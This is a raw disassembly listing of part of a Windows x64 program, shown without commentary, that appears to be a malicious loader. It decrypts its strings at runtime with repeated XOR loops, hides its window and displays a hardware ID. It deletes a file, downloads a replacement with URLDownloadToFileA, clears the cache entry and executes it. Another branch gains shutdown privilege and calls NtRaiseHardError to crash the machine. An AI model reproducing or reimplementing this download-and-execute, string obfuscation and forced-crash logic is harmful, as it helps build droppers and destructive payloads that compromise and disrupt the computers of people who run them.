call fcn.140003494
movaps xmm0, xmmword [0x14030cf80]
movups xmmword [rbp + 0xf8], xmm0
lea rdx, [rbp + 0xf8]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140003494
movaps xmm0, xmmword [0x14030cfc0]
movups xmmword [rbp + 0xf8], xmm0
lea rdx, [rbp + 0xf8]
mov ecx, reloc.WS2_32.dll_socket
call fcn.140003494
movss xmm1, dword [0x14030cb90]
mov ecx, listen
call fcn.140003530
mov dword [rbp + 0x58], 0x43e64000
mov dword [rbp + 0x5c], 0x41800000
lea rcx, [rbp + 0x58]
call fcn.14000f0d0
mov dword [rbp - 0x70], 0x42be0000
mov dword [rbp - 0x6c], 0x41f00000
movsd xmm3, qword [0x14030afe8]
movsd qword [rsp + 0x70], xmm3
mov al, byte [0x14030aff0]
mov byte [rsp + 0x78], al
mov r8d, esi
lea r9, [rsp + 0x70]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 9
jl 0x140041df0
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x70]
call fcn.14002dd64
test al, al
je 0x1400421a6
movups xmm0, xmmword [0x14030a330]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x14030a340]
movups xmmword [rbp + 0xd0], xmm1
movsd xmm0, qword [0x14030a350]
movsd qword [rbp + 0xe0], xmm0
movzx eax, word [0x14030a358]
mov word [rbp + 0xe8], ax
mov r8d, esi
lea r9, [rbp + 0xc0]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x2a
jl 0x140041e79
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x210], rsi
mov qword [rbp + 0x218], r12
mov byte [rbp + 0x200], sil
lea rax, [rbp + 0xc0]
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], sil
jne 0x140041ecf
lea rcx, [rbp + 0x200]
cmp rbx, r12
ja 0x140041f04
mov qword [rbp + 0x210], rbx
mov r8, rbx
lea rdx, [rbp + 0xc0]
call fcn.14012dc80
mov byte [rbp + rbx + 0x200], sil
jmp 0x140041f14
lea r9, [rbp + 0xc0]
mov rdx, rbx
call fcn.14004cc58
nop
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x2e8]
call fcn.14003e960
nop
cmp dword [rbp + 0x2e8], 0xc8
jne 0x140042111
mov qword [rbp + 0x1f8], rsi
lea r8, [rbp + 0x1c0]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x160]
call fcn.14004bd44
nop
xor edx, edx
lea rcx, [rbp + 0x160]
call fcn.140047e38
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x198], r12
mov qword [rbp + 0x190], 4
mov dword [rbp + 0x180], 0x64697768
mov byte [rbp + 0x184], sil
lea rdx, [rbp + 0x180]
mov rcx, rax
call fcn.140047bd4
lea rdx, [rbp + 0x118]
mov rcx, rax
call fcn.14004bfa8
nop
lea r9, [rbp + 0x118]
cmp qword [rbp + 0x130], r15
cmovae r9, qword [rbp + 0x118]
mov rax, qword [rbp + 0x128]
mov qword [rbp + 0xf8], rax
mov rcx, qword [reloc.WS2_32.dll_ntohs]
cmp rax, rcx
ja 0x140042015
lea rbx, [0x140332800]
cmp rcx, r15
cmovae rbx, qword [0x140332800]
mov qword [0x140332810], rax
mov r8, rax
mov rdx, r9
mov rcx, rbx
call fcn.14012dc80
mov rax, qword [rbp + 0xf8]
mov byte [rbx + rax], sil
jmp 0x140042024
mov rdx, rax
lea rcx, [0x140332800]
call fcn.14004cc58
lea rax, [rbp + 0x118]
mov rbx, qword [rbp + 0x118]
mov rcx, qword [rbp + 0x130]
cmp rcx, r15
cmovae rax, rbx
mov r8, qword [rbp + 0x128]
cmp r8, r14
jne 0x14004205e
cmp byte [rax], 0x30
jne 0x140042055
mov eax, esi
jmp 0x14004205a
sbb eax, eax
or eax, r14d
test eax, eax
je 0x1400420ac
lea rdx, [0x140332758]
cmp qword [reloc.WS2_32.dll_ntohs], r15
cmovae rdx, qword [0x140332758]
lea rax, [rbp + 0x118]
cmp rcx, r15
cmovae rax, rbx
cmp r8, qword [0x140332768]
jne 0x14004209a
mov rcx, rax
call fcn.14012e520
test eax, eax
mov al, r14b
je 0x14004209d
mov al, sil
test al, al
jne 0x1400422e1
mov rcx, qword [rbp + 0x130]
mov byte [0x1403363fa], r14b
cmp rcx, r15
jb 0x1400420e9
lea rdx, [rcx + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400420e1
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042e1f
mov rcx, rbx
call fcn.14005e360
mov qword [rbp + 0x128], rsi
mov qword [rbp + 0x130], r12
mov byte [rbp + 0x118], sil
mov dl, byte [rbp + 0x160]
lea rcx, [rbp + 0x168]
call fcn.140049858
nop
mov rdx, qword [rbp + 0x308]
cmp rdx, r15
jb 0x140042151
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004214c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042e25
call fcn.14005e360
mov qword [rbp + 0x300], rsi
mov qword [rbp + 0x308], r12
mov byte [rbp + 0x2f0], sil
mov rdx, qword [rbp + 0x218]
cmp rdx, r15
jb 0x1400421a6
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400421a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042d79
call fcn.14005e360
mov ecx, r14d
call fcn.140003634
mov ecx, r14d
call fcn.1400034f0
mov ecx, r14d
call fcn.1400034f0
mov ecx, r14d
call fcn.1400034f0
call fcn.14000e910
mov rcx, qword [0x140336420]
call fcn.14000e878
mov dword [rbp - 0x78], 0x43218000
mov dword [rbp - 0x74], 0x42320000
lea rcx, [rbp - 0x78]
call fcn.14000f0d0
movups xmm0, xmmword [0x14030a5f8]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [0x14030a608]
movups xmmword [rbp + 0x80], xmm1
movups xmm0, xmmword [0x14030a618]
movups xmmword [rbp + 0x90], xmm0
movsd xmm1, qword [0x14030a628]
movsd qword [rbp + 0xa0], xmm1
mov r8d, esi
lea r9, [rbp + 0x70]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x38
jl 0x14004222c
lea rbx, [0x140000000]
mov rax, qword [rsp + 0x50]
lea rcx, [rax + 0x337810]
add rcx, rbx
call fcn.140039ec8
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.14002d6cc
call fcn.14000e910
call fcn.14000e910
and dword [rsp + 0x60], 0
mov dword [rsp + 0x64], 0x42820000
lea rcx, [rsp + 0x60]
call fcn.14000f0d0
call fcn.14002f7b0
call fcn.140009468
mov r8d, dword [rbp + 0xf4]
add r8d, r14d
mov dword [rbp + 0xf4], r8d
add qword [rsp + 0x40], r14
cmp r8d, dword [0x14033643c]
jl 0x1400412ca
lea rcx, [rbp + 0x310]
call fcn.14003f3cc
jmp 0x140042d3f
cmp qword [0x1403328c0], rsi
jne 0x1400422fa
mov byte [0x1403363fd], r14b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rbp + 0x270]
call fcn.140042e2c
mov r10, rax
cmp byte [rax + 0x1f], sil
je 0x140042355
mov r8d, esi
mov r9, rax
mov eax, r13d
mul r8d
mov ecx, r8d
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 5
movsx eax, cl
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x20
jl 0x140042326
mov rcx, r10
call fcn.140037978
movsxd rbx, dword [rbp + 0xf4]
shl rbx, 5
lea r12, [0x140000000]
lea rcx, [r12 + 0x338490]
add rcx, rbx
lea rdx, [rbp - 0x68]
call fcn.1400482a4
mov r10, rax
lea rdx, [rbp + 0x1a0]
call fcn.140042e48
mov r15, rax
cmp byte [rax + 0x16], sil
je 0x1400423d0
mov r8d, esi
mov r9, rax
mov eax, r13d
mul r8d
mov ecx, r8d
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 5
movsx eax, cl
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x17
jl 0x1400423a1
mov rcx, r10
call fcn.140039ec8
mov rdx, rax
mov rcx, r15
call fcn.140037978
nop
lea rcx, [rbp - 0x68]
call fcn.140048480
lea rdx, [rbp + 0x1a0]
call fcn.140042e74
mov r10, rax
cmp byte [rax + 0x14], sil
je 0x140042437
mov r8d, esi
mov r9, rax
mov eax, r13d
mul r8d
mov ecx, r8d
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 5
movsx eax, cl
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x15
jl 0x140042408
lea r8, [r12 + 0x336b90]
add r8, rbx
mov rdx, r10
lea rcx, [rbp + 0x250]
call fcn.14004bc84
nop
lea rcx, [rbp + 0x1c0]
call fcn.14003aa54
nop
lea rcx, [rbp + 0x1c0]
call fcn.140039ec8
mov rbx, rax
lea rcx, [rbp + 0x250]
call fcn.140039ec8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp + 0x250]
call fcn.140039ec8
mov rdx, rax
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, rbx
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x1400424be
lea rcx, [rbp + 0x250]
call fcn.140039ec8
mov rcx, rax
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea rdx, [rbp - 0x80]
call fcn.140042e94
mov r9, rax
cmp byte [rax + 6], sil
je 0x1400424ff
mov r8, rax
mov eax, r13d
mul esi
mov ecx, esi
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 5
movsx eax, cl
imul ecx, eax, 0x38
mov al, sil
sub al, cl
add al, dil
xor byte [r8], al
add esi, r14d
add r8, r14
cmp esi, 7
jl 0x1400424d3
lea r8, [rbp + 0x1c0]
mov rdx, r9
lea rcx, [rbp + 0x138]
call fcn.14004bc84
nop
lea rcx, [rbp + 0x138]
call fcn.140039ec8
mov rcx, rax
call fcn.14015a258
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, r14d
jne 0x140042764
mov rcx, qword [0x140336440]
call fcn.14000e878
lea rcx, [0x14030b564]
call fcn.14002d6cc
movss xmm6, dword [0x14030ccb8]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.14000f020
call fcn.14000e910
mov rcx, qword [0x140336430]
call fcn.14000e878
lea rcx, [0x14030b5e8]
call fcn.14002d6cc
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.14000f020
lea rcx, [0x1403327e0]
call fcn.140039ec8
mov rcx, rax
call fcn.14002d6cc
call fcn.14000e910
call fcn.14002f7b0
mov rcx, qword [0x140336440]
call fcn.14000e878
lea rcx, [0x14030b5fc]
call fcn.14002d6cc
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.14000f020
call fcn.14000e910
mov rcx, qword [0x140336430]
call fcn.14000e878
lea rcx, [0x14030b600]
call fcn.14002d6cc
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.14000f020
lea rcx, [0x140332840]
call fcn.140039ec8
mov rcx, rax
call fcn.14002d6cc
call fcn.14000e910
call fcn.14002f7b0
mov rcx, qword [0x140336440]
call fcn.14000e878
lea rcx, [0x14030b610]
call fcn.14002d6cc
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.14000f020
call fcn.14000e910
mov rcx, qword [0x140336430]
call fcn.14000e878
lea rcx, str.:
call fcn.14002d6cc
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.14000f020
lea rcx, [0x140332820]
call fcn.140039ec8
mov rcx, rax
call fcn.14002d6cc
call fcn.14000e910
call fcn.14002f7b0
mov rcx, qword [0x140336440]
call fcn.14000e878
lea rcx, [0x14030b62c]
call fcn.14002d6cc
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.14000f020
call fcn.14000e910
mov rcx, qword [0x140336430]
call fcn.14000e878
lea rcx, str.HWID:
call fcn.14002d6cc
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.14000f020
lea rbx, [0x140332800]
mov rax, rbx
cmp qword [reloc.WS2_32.dll_ntohs], r15
cmovae rax, qword [0x140332800]
cmp qword [0x140332810], r14
jne 0x140042721
cmp byte [rax], 0x30
jne 0x140042721
movaps xmm0, xmmword [0x14030cec0]
movups xmmword [rbp + 0x160], xmm0
lea rdx, [rbp + 0x160]
xor ecx, ecx
call fcn.140003494
lea rcx, [0x14030b640]
jmp 0x140042748
movaps xmm0, xmmword [0x14030cef0]
movups xmmword [rbp + 0x160], xmm0
lea rdx, [rbp + 0x160]
xor ecx, ecx
call fcn.140003494
mov rcx, rbx
call fcn.140039ec8
mov rcx, rax
call fcn.14002d6cc
mov ecx, r14d
call fcn.1400034f0
call fcn.14000e910
call fcn.14002f7b0
jmp 0x140042d3f
cmp eax, ebx
jne 0x140042d3f
movss xmm0, dword [0x14030cbe8]
movss dword [rsp + 0x60], xmm0
movss xmm1, dword [0x14030cb88]
movss dword [rsp + 0x64], xmm1
lea rcx, [rsp + 0x60]
call fcn.14000f0d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
movaps xmm1, xmmword [0x14030d040]
movups xmmword [rbp + 0x1a0], xmm1
mov dword [rsp + 0x60], 0x3f800000
mov dword [rsp + 0x64], 0x3f800000
and dword [rbp - 0x78], esi
and dword [rbp - 0x74], esi
mov dword [rbp - 0x70], 0x43020000
mov dword [rbp - 0x6c], 0x42aa0000
lea rax, [rbp + 0x160]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
lea r8, [rbp - 0x78]
lea rdx, [rbp - 0x70]
call fcn.14002eee8
mov rcx, qword [0x140336430]
call fcn.14000e878
movss xmm0, dword [0x14030cbb0]
movss dword [rsp + 0x60], xmm0
movss xmm1, dword [0x14030cc04]
movss dword [rsp + 0x64], xmm1
lea rcx, [rsp + 0x60]
call fcn.14000f0d0
movaps xmm0, xmmword [str.AJIS_QKn_7d]
movaps xmmword [rbp + 0x70], xmm0
movaps xmm1, xmmword [0x14030a170]
movaps xmmword [rbp + 0x80], xmm1
movaps xmm0, xmmword [0x14030a180]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm1, xmmword [0x14030a190]
movaps xmmword [rbp + 0xa0], xmm1
movsd xmm0, qword [0x14030a1a0]
movsd qword [rbp + 0xb0], xmm0
mov eax, dword [0x14030a1a8]
mov dword [rbp + 0xb8], eax
mov r8d, esi
lea r9, [rbp + 0x70]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x4c
jl 0x140042882
lea rcx, [rbp + 0x70]
call fcn.14002d6cc
call fcn.14000e910
mov rcx, qword [0x140336420]
call fcn.14000e878
lea rdx, [rbp + 0x310]
lea rbx, [0x140000000]
lea rcx, [rbx + 0x30a770]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
add rdx, r12
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
add rcx, r12
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
mov eax, dword [rcx + 0x40]
mov dword [rdx + 0x40], eax
movzx eax, word [rcx + 0x44]
mov word [rdx + 0x44], ax
mov r8d, esi
lea r9, [rbp + 0x310]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0xc6
jl 0x14004295a
lea rcx, [rbp + 0x310]
call fcn.14002d6cc
lea rdx, [rbp + 0x310]
lea rcx, [rbx + 0x30abb0]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
add rdx, r12
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
add rcx, r12
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
mov eax, dword [rcx + 0x40]
mov dword [rdx + 0x40], eax
mov al, byte [rcx + 0x44]
mov byte [rdx + 0x44], al
mov r8d, esi
lea r9, [rbp + 0x310]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0xc5
jl 0x140042a1e
lea rcx, [rbp + 0x310]
call fcn.14002d6cc
lea rdx, [rbp + 0x310]
lea rcx, [rbx + 0x30ad40]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
add rdx, r12
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
add rcx, r12
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
mov rax, qword [rcx + 0x30]
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, word [rcx + 0x3c]
mov word [rdx + 0x3c], ax
mov al, byte [rcx + 0x3e]
mov byte [rdx + 0x3e], al
mov r8d, esi
lea r9, [rbp + 0x310]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0xbf
jl 0x140042aea
lea rcx, [rbp + 0x310]
call fcn.14002d6cc
lea rcx, [rbp + 0x310]
lea rax, [rbx + 0x30aaa0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + r12 - 0x10], xmm1
movups xmm0, xmmword [rax + r12]
movups xmmword [rcx + r12], xmm0
mov al, byte [rax + r12 + 0x10]
mov byte [rcx + r12 + 0x10], al
mov r8d, esi
lea r9, [rbp + 0x310]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x91
jl 0x140042b94
lea rcx, [rbp + 0x310]
call fcn.14002d6cc
lea rdx, [rbp + 0x310]
lea rcx, [rbx + 0x30b460]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
add rdx, r12
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
add rcx, r12
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
mov eax, dword [rcx + 0x30]
mov dword [rdx + 0x30], eax
mov al, byte [rcx + 0x34]
mov byte [rdx + 0x34], al
mov r8d, esi
lea r9, [rbp + 0x310]
mov eax, r13d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, dil
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0xb5
jl 0x140042c50
lea rcx, [rbp + 0x310]
call fcn.14002d6cc
mov byte [rbp + 0xf0], sil
lea rcx, [rbp + 0xf0]
call fcn.14002d6cc
mov byte [rbp + 0xf0], sil
lea rcx, [rbp + 0xf0]
call fcn.14002d6cc
mov byte [rbp + 0xf0], sil
lea rcx, [rbp + 0xf0]
call fcn.14002d6cc
movups xmm0, xmmword [0x14030aa70]
movups xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [0x14030aa80]
movups xmmword [rbp + 0x1d0], xmm1
mov eax, dword [0x14030aa90]
mov dword [rbp + 0x1e0], eax
mov al, byte [0x14030aa94]
mov byte [rbp + 0x1e4], al
lea r8, [rbp + 0x1c0]
mov eax, r13d
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, sil
sub al, cl
add al, dil
xor byte [r8], al
add esi, r14d
add r8, r14
cmp esi, 0x25
jl 0x140042d02
lea rcx, [rbp + 0x1c0]
call fcn.14002d6cc
call fcn.14000e910
call fcn.140009468
mov rcx, qword [rbp + 0x3e0]
xor rcx, rsp
call fcn.14005e190
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14015e7b0
nop
call fcn.14015e7b0
int3
call fcn.14015e7b0
int3
lea r9, [rbp + 0xf0]
xor r8d, r8d
mov dl, r14b
lea ecx, [r8 + 0x13]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp + 0xf4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000420
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
xor ecx, ecx
call fcn.140151260
nop
call fcn.14015e7b0
nop
call fcn.1400392bc
nop
call fcn.14015e7b0
nop
call fcn.14015e7b0
nop
call fcn.14015e7b0
nop
call fcn.14015e7b0
nop
call fcn.14015e7b0
nop
call fcn.14015e7b0
nop
call fcn.14015e7b0
nop
call fcn.14015e7b0
nop
call fcn.14015e7b0
nop
call fcn.14015e7b0
nop
call fcn.14015e7b0
nop
call fcn.14015e7b0
nop
call fcn.14015e7b0
int3